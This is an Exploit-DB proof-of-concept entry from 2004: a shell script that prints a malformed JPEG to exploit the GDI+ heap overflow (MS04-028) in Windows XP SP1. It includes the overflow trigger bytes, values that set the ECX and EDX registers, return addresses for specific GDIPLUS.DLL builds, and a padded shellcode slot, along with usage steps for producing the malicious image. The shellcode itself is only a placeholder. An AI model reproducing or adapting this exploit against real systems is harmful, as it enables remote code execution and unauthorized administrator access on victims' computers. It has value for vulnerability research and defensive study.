Exploit-DB #475
Description: Microsoft Windows - JPEG GDI+ Overflow Administrator (MS04-028)
Type: remote
Platform: windows
Date: 2004-09-23
Author: Elia Florio

Exploit:
#!/bin/sh
#
# MS04-028 Exploit PoC II with Shellcode: CreateUser X in Administrators Group
#
# Tested on:
# WinXP Professional English SP1 - GDIPLUS.DLL version 5.1.3097.0
# WinXP Professional Italian SP1 - GDIPLUS.DLL version 5.1.3101.0
# (SP2 is not vulnerable, don't waste your time trying this exploit on it!)
#
# Usage:
#    first,  replace the "\xCC" = INT3 instruction at beginning of shellcode
#    second, choose a right ret address for GDI+ DLL and WinXP version
#    then,  create crafted JPEG with: sh ms04-028.sh > img.jpg
#
# Created by:
#    Elia Florio
#    (heap overflow study purpose, not for lamerz, not for script-kiddie)
#
# Thanx to:
# jerome.athias
# metasploit.org
# idefense
# full-disclosure list

#********************************************
#Standard JPEG header
#********************************************
printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
printf "\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
printf "\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"

#********************************************
#Heap Overflow Trigger DWORD - 00 length field (01 works too)
#********************************************
printf "\xFF\xFE\x00\x01"


#********************************************
#Additional stuff to complete the header
#********************************************
printf  "\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"


#********************************************
#Sugg. by jerome.athias
# 1) Opening directly in IE
#Address to overwrite = RtlEnterCriticalSelection() - 4
#Check page 172 of SC Handbook for those of you playing along at home
#********************************************
printf "\xEB\x0F\x26\x32" #control ECX register


#********************************************
#Address of shellcode
#********************************************
printf "\x42\x42\x42\x42" #control EDX, left these values if u wanna raise an exception and debug in GDI+
#printf "\xDC\xB1\xE7\x70" #70E7B1DC WinXP Professional English SP1 -GDIPLUS.DLL version 5.1.3097.0
#printf "\xDC\xB1\x30\x78" #7830B1DC WinXP Professional Italian SP1 -GDIPLUS.DLL version 5.1.3101.0


#********************************************
#end_of_jpeg_header
#********************************************
printf "\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
#NOP1
printf "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
printf "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"

#********************************************
#Image junk here...fake JPG
#********************************************
printf
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07";
printf
"\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14";
printf
"\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C";
printf
"\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C";
printf
"\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D";
printf
"\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf
"\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22";
printf
"\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01";
printf
"\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05";
printf
"\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02";
printf
"\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05";
printf
"\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08";
printf
"\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17";
printf
"\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43";
printf
"\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64";
printf
"\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85";
printf
"\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4";
printf
"\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3";
printf
"\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1";
printf
"\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8";
printf
"\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01";
printf
"\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A";
printf
"\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04";
printf
"\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41";
printf
"\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23";
printf
"\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19";
printf
"\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47";
printf
"\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68";
printf
"\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88";
printf
"\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7";
printf
"\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6";
printf
"\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5";
printf
"\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00";
printf
"\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F";

#********************************************
#"A" buffer
#********************************************
perl -e 'print "\x41"x1601'; #buffer 1601 x NOP

#********************************************
#SHELLCODE AREA
#place shellcode here...
#don't use any "FFD9" bytes, cause it is the marker for end of jpeg image
#********************************************
printf "\xCC\x90\x90\x90"; #replace